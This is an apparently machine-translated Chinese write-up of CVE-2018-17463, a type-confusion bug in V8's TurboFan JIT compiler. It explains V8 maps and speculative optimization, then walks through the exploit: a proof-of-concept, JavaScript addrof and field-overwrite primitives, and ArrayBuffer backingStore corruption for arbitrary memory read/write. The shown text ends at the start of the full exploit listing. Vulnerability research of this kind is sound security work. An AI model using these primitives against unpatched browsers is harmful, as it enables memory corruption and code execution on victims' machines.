JavaScript-JIT引擎逻辑漏洞利用

介绍

本文将介绍just-in-time(JIT)在CVE-2018-17463示例中发现的编译器漏洞
通过源代码审计,作为hack2win竞赛的一部分使用2018年9月。该漏洞随后被谷歌用提交52a9e67a477bdb67ca893c25c145ef5191976220 “[turbofan]修正ObjectCreate的注释” 和修复10月16日,随着Chrome 70的发布,公众开始关注。

本文中的源代码片段也可以在线查看源代码存储库以及代码搜索。利用已测试chrome版本69.0.3497.81(64位),对应v8版本6.9.427.19。

v8概述

V8是谷歌的开源JavaScript引擎,用于支持其他基于chromium的网络浏览器。它用c++编写的,而且很常用执行不受信任的JavaScript代码。就其本身而言,这是一件有趣的软件攻击方式。

V8提供了大量的文档,包括源代码和在线文档。此外,v8有多个特性来促进探索其内部工作:

  1. 许多内置函数可以从JavaScript中使用,启用通过d8的–enable-native-syntax flag(v8的JavaScript shell)。例如,允许用户通过以下方式检查对象%DebugPrint,用%CollectGarbage触发垃圾回收,或通过%OptimizeFunctionOnNextCall强制JIT编译一个函数。

  2. 各种跟踪模式,也可以通过命令行flag启用将大量引擎内部事件记录到stdout或日志中文件。有了这些,就有可能追踪在JIT编译器中传递不同的优化的行为。

  3. 工具/子目录中的其他工具,比如可视化工具叫做涡轮增压器的JIT IR。

Values

由于JavaScript是一种动态类型语言,引擎存储类型必须包含每个运行时值的信息。在v8中,这是通过指针标记和专用类型信息的使用的组合对象,称为maps。

v8中不同的JavaScript值类型都列在src/objects.h中,下面是摘录。

1
2
3
4
5
6
7
8
9
10
11
// Inheritance hierarchy:
// - Object
// - Smi (immediate small integer)
// - HeapObject (superclass for everything allocated in the heap)
// - JSReceiver (suitable for property access)
// - JSObject
// - Name
// - String
// - HeapNumber
// - Map
// ...

然后JavaScript值被表示为一个静态类型的指针标记对象。在64位架构上,使用以下标签方案:

1
2
Smi:        [32 bit signed int] [31 bits unused] 0
HeapObject: [64 bit direct pointer] | 01

因此,指针标记区分了Smis和HeapObjects。所有的类型信息然后进一步存储在映射实例中,在每个堆对象中都可以找到偏移量为0的指针。

使用这个指针标记方案,在Smis上进行算术或二进制操作通常可以忽略标签,因为较低的32位都是0。然而,解除对HeapObject的引用需要屏蔽掉最低有效位(LSB)。因此,所有对象都访问HeapObject的数据成员必须通过处理清除LSB的特殊访问器。在事实上,v8中的对象没有任何c++数据成员,可以访问这些对象由于指针标记,这是不可能的。相反,引擎存储数据通过上述访问器在对象中预定义的偏移量处成员功能。实质上,v8定义了对象在内存中的布局而不是将其委托给编译器。

Maps

Map是v8中的一个关键数据结构,包含诸如

  • 对象的动态类型,即String, Uint8Array, HeapNumber…
  • 对象的大小(以字节为单位)
  • 对象的属性及其存储位置
  • 数组元素的类型,例如未装箱的双精度浮点数或标记指针
  • 对象的原型(如有)

虽然属性名称通常存储在映射中,但属性值与对象本身一起存储在几个可能的区域之一。然后,Map提供属性值在各自的地区。

一般来说,在三个不同的区域,属性值可以发挥作用存储: 在对象本身内(“内联属性”),在一个单独的,动态大小的堆缓冲区(“外行属性”),或者,如果属性名称是一个整数索引,作为数组元素在动态大小堆数组。在前两种情况下,映射将存储属性值的槽号,而在最后一种情况下是槽号number是元素索引。这可以在下面的例子中看到:

1
2
let o1 = {a: 42, b: 43};
let o2 = {a: 1337, b: 1338};

执行后,内存中会有两个JSObjects和一个Map:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
                    +----------------+
| |
| map1 |
| |
| property: slot |
| .a : 0 |
| .b : 1 |
| |
+----------------+
^ ^
+--------------+ | |
| +------+ |
| o1 | +--------------+
| | | |
| slot : value | | o2 |
| 0 : 42 | | |
| 1 : 43 | | slot : value |
+--------------+ | 0 : 1337 |
| 1 : 1338 |
+--------------+

就内存使用而言,映射是相对昂贵的对象,它们确实是尽可能在“相似”对象之间共享。这可以从在前面的例子中,o1和o2共享同一个Map map1。然而,如果第三个属性.c(例如值为1339)被添加到o1中,那么map不再可以共享,因为o1和o2现在有不同的属性。因此,为o1创建一个新的Map:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+----------------+       +----------------+
| | | |
| map1 | | map2 |
| | | |
| property: slot | | property: slot |
| .a : 0 | | .a : 0 |
| .b : 1 | | .b : 1 |
| | | .c : 2 |
+----------------+ +----------------+
^ ^
| |
| |
+--------------+ +--------------+
| | | |
| o2 | | o1 |
| | | |
| slot : value | | slot : value |
| 0 : 1337 | | 0 : 1337 |
| 1 : 1338 | | 1 : 1338 |
+--------------+ | 2 : 1339 |
+--------------+

如果稍后同样的属性.c也被添加到o2中,那么两个对象将再次共享map2。有效工作的方法是在每个映射中跟踪一个对象应该转换到哪个新映射,如果添加了一个特定名称(可能是类型)的属性。这种数据结构通常称为转换表。

然而,V8也能够将属性存储为哈希映射,而不是使用映射和槽机制,在这种情况下,属性名直接映射到值。当引擎认为映射机制会导致额外的开销时,就会使用这种方法,例如在单例对象的情况下。

映射机制对于垃圾收集也是必不可少的: 当收集器处理一个分配(一个HeapObject)时,它可以立即检索诸如对象大小和对象是否包含任何其他需要通过检查映射来扫描的标记指针等信息。

对象摘要

考虑下面的代码片段

1
2
3
4
5
6
7
let obj = {
x: 0x41,
y: 0x42
};
obj.z = 0x43;
obj[0] = 0x1337;
obj[1] = 0x1338;

在v8中执行后,检查对象的内存地址如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
(lldb) x/5gx 0x23ad7c58e0e8
0x23ad7c58e0e8: 0x000023adbcd8c751 0x000023ad7c58e201
0x23ad7c58e0f8: 0x000023ad7c58e229 0x0000004100000000
0x23ad7c58e108: 0x0000004200000000

(lldb) x/3gx 0x23ad7c58e200
0x23ad7c58e200: 0x000023adafb038f9 0x0000000300000000
0x23ad7c58e210: 0x0000004300000000

(lldb) x/6gx 0x23ad7c58e228
0x23ad7c58e228: 0x000023adafb028b9 0x0000001100000000
0x23ad7c58e238: 0x0000133700000000 0x0000133800000000
0x23ad7c58e248: 0x000023adafb02691 0x000023adafb02691

第一个是对象本身,它由指向其映射的指针组成(0x23adbcd8c751),指向其行外属性的指针(0x23ad7c58e201),指向其元素的指针(0x23ad7c58e229)和两个内联属性(x和y)。检查超行属性指针显示另一个以Map开头的对象(这表明这是一个然后是大小和属性z。元素数组同样以指向映射的指针开始,然后是容量,最后是容量由索引为0和1的两个元素和索引为9的两个元素设置魔术值“the_hole”(指示后备内存已经过度使用)。可以看到,所有的值都存储为带标记的指针。如果以同样的方式创建更多的对象,则它们将重用现有的maps。

JavaScript即时编译的介绍

现代的JavaScript引擎通常使用一个解释器和一个或多个多种即时编译器。作为一个代码单元执行得更多通常,它被移动到能够更快执行的更高层代码,尽管它们的启动时间通常也更高。

下一节的目的是给一个直观的介绍,而不是一个对动态语言JIT编译器的正式解释,例如JavaScript设法从脚本生成优化的机器代码。

投机即时编译

考虑以下两个代码片段。怎么可能每一个都是编译成机器代码?

1
2
3
4
5
6
7
8
9
// C++
int add(int a, int b) {
return a + b;
}

// JavaScript
function add(a, b) {
return a + b;
}

对于第一个代码片段,答案似乎相当清楚。毕竟,参数的类型以及指定寄存器的ABI类型用于参数和返回值,已知。此外,指令目标机器的集合是可用的。因此,编译到机器代码可能产生以下x86_64代码:

1
2
lea eax, [rdi + rsi]
ret

然而,对于JavaScript代码,类型信息是未知的。因此,似乎不可能生产出比一般的add更好的东西操作处理程序,它只能提供微不足道的性能加强解释器。结果是,处理丢失的类型信息是编译动态语言机器代码需要克服的一个关键挑战。这也可以通过想象一个假设来证明使用静态类型的JavaScript,例如:

1
2
3
function add(a: Smi, b: Smi) -> Smi {
return a + b;
}

在这种情况下,生成机器代码也很容易:

1
2
3
lea     rax, [rdi+rsi]
jo bailout_integer_overflow
ret

这是可能的,因为由于指针标记模式,Smi的较低32位都是0。这个汇编代码看起来非常类似于c++示例,除了额外的溢出检查,这是必需的,因为JavaScript不知道整数溢出(在规范中,所有数字都是IEEE 754双精度浮点数),但cpu肯定知道。因此,在不太可能发生的整数溢出事件中,引擎将不得不将执行转移到一个不同的、更通用的执行层,如解释器。在这种情况下,它会重复失败的操作,并在将两个输入相加之前将它们转换为浮点数。这种机制通常被称为紧急救助,对于JIT编译器来说是必不可少的,因为它允许编译器生成专门的代码,在出现意外情况时,这些代码总是可以退回到更通用的代码。

不幸的是,对于普通的JavaScript, JIT编译器不能使用静态类型信息。然而,由于JIT编译只发生在较低的一层(如解释器)的几次执行之后,因此JIT编译器可以使用以前执行的类型信息。这反过来又使投机性优化成为可能: 编译器将假定一个代码单元将来将以类似的方式使用,因此会看到相同的类型,例如参数。然后,它可以生成如上所示的优化代码,假设这些类型将在将来使用。

投机Guards

当然,不能保证代码单元总是以类似的方式使用。因此,在执行优化的代码之前,编译器必须验证其所有类型推测在运行时仍然有效。这是通过以下讨论的许多轻量级运行时检查来实现的。

通过检查来自以前执行的反馈和当前引擎状态,JIT编译器首先制定了各种推测,比如 “这个值永远是一个Smi”,或者 “这个值永远是一个具有特定映射的对象”,甚至 “这个Smi的添加永远不会导致整数溢出”。然后,使用一小段机器代码(称为投机Guards)验证这些猜测在运行时仍然有效。如果Guards失败,它将对较低的执行层(如解释器)执行紧急救援。下面是两种常用的投机Guards:

1
2
3
4
5
6
7
; Ensure is Smi
test rdi, 0x1
jnz bailout

; Ensure has expected Map
cmp QWORD PTR [rdi-0x1], 0x12345601
jne bailout

第一个保护是Smi保护,它通过检查指针标记是否为0来验证某个值是否为Smi。第二个保护是映射保护,它验证HeapObject实际上是否拥有它期望拥有的映射。

使用推测保护,处理丢失的类型信息变成:

  1. 在解释器中执行时收集类型配置文件
  2. 推测同样的类型将在未来被使用
  3. 用运行时投机Guards来保护这些投机
  4. 然后,为前面看到的类型生成优化的代码

从本质上讲,插入一个投机保护将向后面的代码添加一段静态类型信息。

Turbofan

尽管用户JavaScript代码的内部表示已经以字节码的形式提供给解释器,但JIT编译器通常会将字节码转换为更适合执行各种优化的自定义中间表示(IR)。Turbofan, v8中的JIT编译器也不例外。turbofan使用的IR是基于图的,由操作(节点)和它们之间不同类型的边组成,即

  • 控制流侧,连接控制流操作,如循环和if条件
  • 数据流侧,连接输入和输出值
  • 效果流侧,连接有效的操作,使它们被正确调度。例如: 考虑一个属性的存储,后面跟着一个相同属性的加载。由于这两个操作之间没有数据或控制流依赖关系,因此需要effect-flow在加载之前正确调度存储。

此外,turbofan IR支持三种不同类型的操作:

JavaScript操作、简化操作和机器操作。机器操作通常类似于单个机器指令,而JS操作类似于通用的字节码指令。简化操作介于两者之间。因此,机器操作可以直接转换为机器指令,而其他两种类型的操作需要进一步的转换步骤到更低级别的操作(称为降低的过程)。例如,一般的属性加载操作可以降低为CheckHeapObject和CheckMaps操作,然后从对象的内联槽进行8字节的加载。

研究JIT编译器在各种场景中的行为的一种舒适的方式是通过v8的turbolizer工具: 一个小型web应用程序,它使用–trace-turbo命令行flag产生输出,并将其呈现为一个交互式界面。

编译器管道

根据前面描述的机制,一个典型的JavaScript JIT编译器管道大致如下:

  1. 图构建和专门化: 使用解释器中的字节码和运行时类型配置文件,并构造表示相同计算的IR图。检查类型概要,并基于它们制定推测,例如,对于操作查看哪种类型的值。投机活动由投机guards把守着。

  2. 优化: 生成的图,现在具有静态类型来自guards的信息被优化得非常像“经典”(AOT)编译器。这里,优化被定义为代码的转换,它不必需有正确性,但可以提高代码的执行速度或内存占用。典型的优化包括循环不变代码移动、常数折叠、转义分析和内联。

  3. 降低: 最后,生成的图降低为机器码,然后写入可执行内存区域。从那时起,调用已编译的函数将导致将执行转移到生成的代码。

不过,这种结构相当灵活。例如,降低可能发生在多个阶段,在这些阶段之间有进一步的优化。此外,寄存器分配必须在某个时间点执行,然而,这在某种程度上也是一种优化。

一个JIT编译示例

本章以一个turbofan JIT编译的函数示例结束:

1
2
3
function foo(o) {
return o.b;
}

在解析过程中,该函数首先被编译为通用字节码,可以使用d8的–print-bytecode flag检查。输出如下所示。

1
2
3
4
5
6
7
8
9
10
Parameter count 2
Frame size 0
12 E> 0 : a0 StackCheck
31 S> 1 : 28 02 00 00 LdaNamedProperty a0, [0], [0]
33 S> 5 : a4 Return
Constant pool (size = 1)
0x1fbc69c24ad9: [FixedArray] in OldSpace
- map: 0x1fbc6ec023c1 <Map>
- length: 1
0: 0x1fbc69c24301 <String[1]: b>

该函数主要被编译成两个操作: LdaNamedProperty,它加载所提供参数的属性.b,以及Return,它返回所述属性。函数开头的StackCheck操作会在超出调用堆栈大小时抛出异常,以防止堆栈溢出。关于v8字节码格式和解释器的更多信息可以在网上找到。

为了触发JIT编译,这个函数必须被调用几次:

1
2
3
4
5
6
7
8
9
for (let i = 0; i < 100000; i++) {
foo({a: 42, b: 43});
}

/* 或者在提供一些类型信息后使用native: */
foo({a: 42, b: 43});
foo({a: 42, b: 43});
%OptimizeFunctionOnNextCall(foo);
foo({a: 42, b: 43});

这也将驻留在函数的反馈向量中,该函数将观察到的输入类型与字节码操作关联起来。在本例中,LdaNamedProperty的反馈向量条目将包含一个条目: 作为参数提供给函数的对象的映射。这个映射将表明属性.b存储在第二个内联槽中。

一旦turbofan开始编译,它将构建JavaScript代码的图形表示。还将检查反馈向量,并基于此推测函数将始终与特定映射的对象一起被调用。接下来,它用两个运行时检查来保护这些假设,如果假设是假的,这些检查就交给解释器,然后继续为内联属性发出一个属性加载。优化后的图形最终将类似于下面所示的图形。这里只显示了数据流的边缘。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
+----------------+
| |
| Parameter[1] |
| |
+-------+--------+
| +-------------------+
| | |
+-------------------> CheckHeapObject |
| |
+----------+--------+
+------------+ |
| | |
| CheckMap <-----------------------+
| |
+-----+------+
| +------------------+
| | |
+-------------------> LoadField[+32] |
| |
+----------+-------+
+----------+ |
| | |
| Return <------------------------+
| |
+----------+

然后,这张图将降低到类似下面的机器码。

1
2
3
4
5
6
7
8
9
10
11
; 确认 o 不是一个 Smi
test rdi, 0x1
jz bailout_not_object

; 确认 o 有预期的 Map
cmp QWORD PTR [rdi-0x1], 0xabcd1234
jne bailout_wrong_map

; 对已知map的对象执行操作
mov rax, [rdi+0x1f]
ret

如果用一个具有不同map的对象来调用函数,则第二个保护将失败,导致解释器的紧急处理(更准确地说,是字节码的LdaNamedProperty操作),并可能丢弃已编译的代码。最终,该函数将被重新编译,以考虑新的类型反馈。在这种情况下,函数将被重新编译以执行一个多态属性加载(支持多个输入类型),例如,通过为两个映射发送属性加载代码,然后根据当前映射跳到各自的一个。如果操作变得更加多态,编译器可能会决定使用通用内联缓存(IC)来进行多态操作。IC缓存以前的查找,但是对于以前看不见的输入类型,IC总是可以退回到运行时函数,而不需要退出JIT代码。

JIT编译器的漏洞

JavaScript JIT编译器通常是用c++实现的,因此会受到一系列内存和类型安全违规的影响。这些并不是JIT编译器特有的,因此不作进一步讨论。相反,重点将放在编译器中的bug上,这些bug会导致错误的机器码生成,然后这些机器码会被利用来造成内存损坏。

除了降低阶段的bug(经常导致生成的机器码中的整数溢出)之外,许多有趣的bug来自于各种优化。在边界检查消除、转义分析、寄存器分配和其他方面都存在错误。每次优化过程都会产生自己的漏洞。

在审计JIT编译器等复杂软件时,提前确定特定的漏洞模式并查找它们的实例通常是一种明智的方法。这也是手工代码审计的一个好处: 知道特定类型的错误通常会导致简单、可靠的漏洞,这是审计人员可以专门寻找的。

因此,接下来将讨论一种具体的优化,即冗余消除,以及可以发现的漏洞类型,以及一个具体的漏洞,CVE-2018-17463,并伴随着一个漏洞。

消除冗余

一种流行的优化类型旨在从发出的机器码中删除安全检查,如果它们被认为是不必要的。可以想象,这些对审计人员来说是非常有趣的,因为其中的bug通常会导致某种类型的混乱或越界访问。

这些优化通过的一个实例,通常称为“冗余消除”,旨在消除冗余类型检查。作为示例,考虑下面的代码:

1
2
3
function foo(o) {
return o.a + o.b;
}

按照第2章中概述的JIT编译方法,可能会触发以下IR代码:

1
2
3
4
5
6
7
8
9
10
11
CheckHeapObject o
CheckMap o, map1
r0 = Load [o + 0x18]

CheckHeapObject o
CheckMap o, map1
r1 = Load [o + 0x20]

r2 = Add r0, r1
CheckNoOverflow
Return r2

这里的明显问题是多余的第二对CheckHeapObject和CheckMap操作。在这种情况下,o的映射显然不能在两个CheckMap操作之间改变。因此,冗余消除的目标是检测这些类型的冗余检查,并删除除第一个在同一控制流路径上的所有检查。

然而,某些操作可能会导致副作用: 可观察对象改变了执行上下文。例如,调用用户提供的函数的调用操作很容易导致对象的映射改变,例如通过添加或删除属性。在这种情况下,实际上需要一个看似多余的检查,因为映射可能在两个检查之间发生变化。因此,对于这种优化,编译器了解其IR中所有有效的操作是至关重要的。不出所料,由于JavaScript语言的特性,正确预测JIT操作的副作用可能相当困难。因此,与不正确的副作用预测相关的错误时常会出现,通常是通过欺骗编译器删除看似冗余的类型检查,然后调用编译后的代码,在不进行类型检查的情况下使用意外类型的对象。随之而来的是某种形式的类型混乱。

与不正确的副作用建模相关的漏洞通常可以通过定位引擎假定没有副作用的IR操作来发现,然后验证它们在所有情况下是否真的没有副作用。CVE-2018-17463就是这样被发现的。

CVE-2018-17463

在v8中,IR操作有各种与之相关的flag。其中之一kNoWrite指出,引擎假定某个操作不会产生可观察到的副作用,它不会“写入”效应链。jcreateobject是这样一个操作的示例,如下所示:

1
2
3
4
#define CACHED_OP_LIST(V)                                            \
... \
V(CreateObject, Operator::kNoWrite, 1, 1) \
...

要确定IR操作是否有副作用,通常需要查看将高级操作(如jcreateobject)转换为低级指令并最终转换为机器指令的降低阶段。对于jcreateobject,降低操作发生在js-generic-lowering.cc中,负责降低JS操作:

1
2
3
4
5
6
void JSGenericLowering::LowerJSCreateObject(Node* node) {
CallDescriptor::Flags flags = FrameStateFlagForCall(node);
Callable callable = Builtins::CallableFor(
isolate(), Builtins::kCreateObjectWithoutProperties);
ReplaceWithStubCall(node, callable, flags);
}

通俗地说,这意味着jcreateobject操作将降低为对运行时函数CreateObjectWithoutProperties的调用。这个函数最终调用ObjectCreate,这是另一个内置函数,但这次是用c++实现的。最终,控制流在JSObject::OptimizeAsPrototype中结束。这很有趣,因为它似乎暗示了prototype对象可能在上述优化过程中被修改,这可能是JIT编译器意想不到的副作用。下面的代码片段可以用来检查OptimizeAsPrototype是否以某种方式修改了对象:

1
2
3
4
let o = {a: 42};
%DebugPrint(o);
Object.create(o);
%DebugPrint(o);

事实上,用“d8 –allow-native-syntax”运行它会显示:

1
2
3
4
5
6
DebugPrint: 0x3447ab8f909: [JS_OBJECT_TYPE]
- map: 0x0344c6f02571 <Map(HOLEY_ELEMENTS)> [FastProperties]
...

DebugPrint: 0x3447ab8f909: [JS_OBJECT_TYPE]
- map: 0x0344c6f0d6d1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]

可以看出,对象的映射在变成原型时发生了变化,所以对象一定也以某种方式发生了变化。特别是,当成为原型时,对象的越界属性存储被转换为字典模式。因此,位于对象偏移量8处的指针将不再指向PropertyArray(所有属性一个接一个,在短头文件之后),而是指向NameDictionary(一种更复杂的数据结构,直接将属性名映射到值,而不依赖于映射)。这当然是JIT编译器的一个副作用,在本例中是一个意外的副作用。map改变的原因是在v8中,由于引擎其他部分的优化技巧,原型map永远不会被共享。

现在是时候为bug构建第一个概念验证了。在编译后的函数中触发observable错误行为的要求是:

  1. 该函数必须接收一个当前没有作为原型使用的对象。

  2. 该函数需要执行CheckMap操作,以便消除后续的操作。

  3. 函数需要调用Object。使用对象作为参数来触发映射转换。

  4. 该函数需要访问一个out-of-line属性。这将在稍后将不正确地消除的CheckMap之后,加载指向属性存储的指针,然后相信它指向PropertyArray,尽管它将指向NameDictionary。

下面的JavaScript代码片段实现了这一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function hax(o) {
// Force a CheckMaps node.
o.a;

// Cause unexpected side-effects.
Object.create(o);

// Trigger type-confusion because CheckMaps node is removed.
return o.b;
}

for (let i = 0; i < 100000; i++) {
let o = {a: 42};
o.b = 43; // will be stored out-of-line.
hax(o);
}

它首先会被编译成类似下面的伪IR代码:

1
2
3
4
5
6
7
8
9
10
11
12
CheckHeapObject o
CheckMap o, map1
Load [o + 0x18]

// Changes the Map of o
Call CreateObjectWithoutProperties, o

CheckMap o, map1
r1 = Load [o + 0x8] // Load pointer to out-of-line properties
r2 = Load [r1 + 0x10] // Load property value

Return r2

当这个JIT代码第一次运行时,它将返回一个不同于43的值,即NameDictionary的内部字段,它恰好位于与PropertyArray中的.b属性相同的偏移量上。

注意,在本例中,JIT编译器试图推断的类型参数对象在第二个属性负载,而不是依赖于类型的反馈,因此,假定map后不会改变第一类型检查,生产属性从FixedArray代替NameDictionary负载。

exploitation

这个bug允许PropertyArray和NameDictionary混淆。有趣的是,NameDictionary仍然将属性值存储在(名称、值、flag)三元组的动态大小内联缓冲区中。因此,可能存在一对属性P1和P2,使得P1和P2分别位于PropertyArray或NameDictionary开头的偏移量O处。这很有趣,原因在下一节中解释。下面显示的是相同属性的PropertyArray和NameDictionary的内存转储并排显示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
let o = {inline: 42};
o.p0 = 0; o.p1 = 1; o.p2 = 2; o.p3 = 3; o.p4 = 4;
o.p5 = 5; o.p6 = 6; o.p7 = 7; o.p8 = 8; o.p9 = 9;

0x0000130c92483e89 0x0000130c92483bb1
0x0000000c00000000 0x0000006500000000
0x0000000000000000 0x0000000b00000000
0x0000000100000000 0x0000000000000000
0x0000000200000000 0x0000002000000000
0x0000000300000000 0x0000000c00000000
0x0000000400000000 0x0000000000000000
0x0000000500000000 0x0000130ce98a4341
0x0000000600000000 <-!-> 0x0000000200000000
0x0000000700000000 0x000004c000000000
0x0000000800000000 0x0000130c924826f1
0x0000000900000000 0x0000130c924826f1
... ...

在本例中,属性p6和p2在转换为字典模式后重叠。不幸的是,NameDictionary的布局在引擎的每次执行中都是不同的,因为在散列机制中使用了一些进程范围内的随机性。因此,有必要在运行时首先找到这样一对匹配的属性。以下代码可用于此目的。

1
2
3
4
5
6
7
8
9
function find_matching_pair(o) {
let a = o.inline;
this.Object.create(o);
let p0 = o.p0;
let p1 = o.p1;
...;
return [p0, p1, ..., pN];
let pN = o.pN;
}

然后,对返回的数组进行搜索以寻找匹配项。如果这个漏洞不走运,没有找到匹配的对(因为所有属性都存储在NameDictionaries内联缓冲区的末尾),它可以检测到这一点,并且可以简单地重试不同数量的属性或不同的属性名。

构造类型混淆

关于v8还有一点很重要的没有讨论。除了属性值的位置之外,映射还存储属性的类型信息。考虑下面这段代码:

1
2
3
let o = {}
o.a = 1337;
o.b = {x: 42};

在v8中执行后,o 的映射将表明属性a将始终是一个Smi,而属性.b将是一个具有特定映射的对象,该映射又将具有Smi类型的属性.x。在这种情况下,编译一个函数,例如

1
2
3
function foo(o) {
return o.b.x;
}

将导致对o进行单一的Map检查,但不会对.b属性进行进一步的Map检查,因为我们知道.b总是一个带有特定Map的对象。如果通过分配不同类型的属性值而使属性的类型信息失效,则会分配一个新的map,并且扩展该属性的类型信息,使其包括先前的类型和新类型。

这样,就可以从手边的bug构建一个强大的exploit原语: 通过找到匹配的属性对,可以编译JIT代码,它假设它将加载一种类型的属性p1,但实际上加载的是另一种类型的属性p2。由于类型信息存储在映射中,然而,省略属性值的类型检查,从而产生一种通用类型的困惑: 一个原始的,允许一个混淆一个X和一个Y类型的对象类型的对象,X和Y,以及将执行的操作类型X在JIT代码中,可以任意选择。不出所料,这是一种非常强大的原始语言。

下面是构建这种类型混淆原语的脚手架代码。在这里,p1和p2是两个属性的属性名,在属性存储转换为字典模式后,这两个属性重叠。由于它们事先并不已知,因此该漏洞依赖于eval在运行时生成正确的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eval(`
function vuln(o) {
// Force a CheckMaps node
let a = o.inline;
// Trigger unexpected transition of property storage
this.Object.create(o);
// Seemingly load .p1 but really load .p2
let p = o.${p1};
// Use p (known to be of type X but really is of type Y)
// ...;
}
`);

let arg = makeObj();
arg[p1] = objX;
arg[p2] = objY;
vuln(arg);

在JIT编译函数中,编译器将知道局部变量p的类型是X,这是由于o的映射,因此将省略对它的类型检查。然而,由于这个漏洞,运行时代码实际上会接收到一个类型为Y的对象,从而导致类型混淆。

获得内存读/写权限

从这里开始,将构造额外的exploit原语: 第一个原语泄漏JavaScript对象的地址,第二个原语覆盖对象中的任意字段。地址泄漏是可能的,因为在一段编译后的代码中混淆了这两个对象,该代码获取.x属性,一个未装箱的双值,将它转换为v8的堆号,并将其返回给调用者。然而,由于这个漏洞,它实际上会加载一个指向对象的指针,并将其作为double类型返回。

1
2
3
4
5
6
7
8
9
10
function vuln(o) {
let a = o.inline;
this.Object.create(o);
return o.${p1}.x1;
}

let arg = makeObj();
arg[p1] = {x: 13.37}; // X, inline property is an unboxed double
arg[p2] = {y: obj}; // Y, inline property is a pointer
vuln(arg);

这段代码将导致obj的地址以双值形式返回给调用者,例如1.9381218278403e-310。

接下来。通常情况下,“写”原语只是“读”原语的倒装。在这种情况下,只需要写入一个预期为未装箱双精度浮点数的属性就足够了,如下面所示。

1
2
3
4
5
6
7
8
9
10
11
12
function vuln(o) {
let a = o.inline;
this.Object.create(o);
let orig = o.${p1}.x2;
o.${p1}.x = ${newValue};
return orig;
}

let arg = makeObj();
arg[p1] = {x: 13.37};
arg[p2] = {y: obj};
vuln(arg);

这将“破坏”第二个对象的.y属性。然而,为了实现一些有用的功能,该漏洞可能需要破坏对象的内部字段,例如下面对ArrayBuffer所做的。请注意,第二个原语将读取属性的旧值并将其返回给调用者。这使得有可能:

  • 一旦存在漏洞的代码第一次运行并损坏了受害者对象,立即检测

  • 在稍后完全恢复损坏的对象,以保证流程的干净继续。

有了这些原语,获取任意的内存读写就变得非常容易

  1. 创建两个数组缓冲区,ab1和ab2

  2. 泄露ab2的地址

  3. 破坏ab1的backingStore指针指向ab2

产生以下情况:

1
2
3
4
5
6
7
8
9
10
+-----------------+           +-----------------+
| ArrayBuffer 1 | +---->| ArrayBuffer 2 |
| | | | |
| map | | | map |
| properties | | | properties |
| elements | | | elements |
| byteLength | | | byteLength |
| backingStore --+-----+ | backingStore |
| flags | | flags |
+-----------------+ +-----------------+

然后,可以通过向ab1写入ab2,然后从ab2读取或写入ab2,覆盖ab2的backingStore指针来访问任意地址。

反射

如上所示,通过滥用v8中的类型推断系统,可以扩展最初有限的类型混淆原语,以实现对JIT代码中任意对象的混淆。这个原语强大的原因有几个:

  1. 事实上,用户能够创建自定义类型,例如通过向对象添加属性。这就避免了找到一个好的类型混淆候选对象的需要,因为人们很可能只需要创建它,例如,当它混淆了ArrayBuffer和一个具有内联属性的对象,从而破坏backingStore指针时,就会出现这种情况。

  2. JIT可以编译对X类型的对象执行任意操作的代码,但在运行时由于漏洞而接收到Y类型的对象。利用未装箱双属性的编译加载和存储,分别实现地址泄漏和arraybuffer的破坏。

  3. 事实上,类型信息被引擎积极地跟踪,增加了可能相互混淆的类型的数量。

因此,如果低级原语不足以实现可靠的内存读写,那么最好先从低级原语构建所讨论的原语。很可能大多数类型检查消除错误都可以转换成这个原语。此外,其他类型的漏洞也可能被利用来产生它。可能的例子包括寄存器分配错误,使用后释放,或越界地读取或写入JavaScript对象的属性缓冲区。

获得代码执行

虽然以前攻击者可以简单地将shellcode写入JIT区域并执行它,但现在事情变得稍微更耗时了: 在2018年初,v8引入了一个称为write-protect-code-memory的特性,它本质上是将JIT区域的访问权限在R-X和RW-之间切换。这样,在执行JavaScript代码时,JIT区域将被映射为R-X,从而防止攻击者直接写入它。因此,现在需要找到另一种方式来执行代码,比如简单地通过重写虚函数表、JIT函数指针、堆栈或通过自己选择的另一种方法来执行ROP。

之后,唯一要做的就是运行沙箱逃逸… :)

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
if (typeof(window) !== 'undefined') {
print = function(msg) {
console.log(msg);
document.body.textContent += msg + "\r\n";
}
}

{
// 转换缓冲区.
let floatView = new Float64Array(1);
let uint64View = new BigUint64Array(floatView.buffer);
let uint8View = new Uint8Array(floatView.buffer);

// 特性请求: 将BigInt属性拆盒,这样它们就不需要了

Number.prototype.toBigInt = function toBigInt() {
floatView[0] = this;
return uint64View[0];
};

BigInt.prototype.toNumber = function toNumber() {
uint64View[0] = this;
return floatView[0];
};
}

// 在泄漏对象的地址之前,需要使用垃圾收集将对象移动到内存中的稳定位置(旧空间)。

function gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x100000);
}
}

const NUM_PROPERTIES = 32;
const MAX_ITERATIONS = 100000;

function checkVuln() {
function hax(o) {
// 在属性访问之前强制执行CheckMaps节点。这必须在这里加载一个内联属性,以便以后不能重用out-line属性指针.
o.inline;

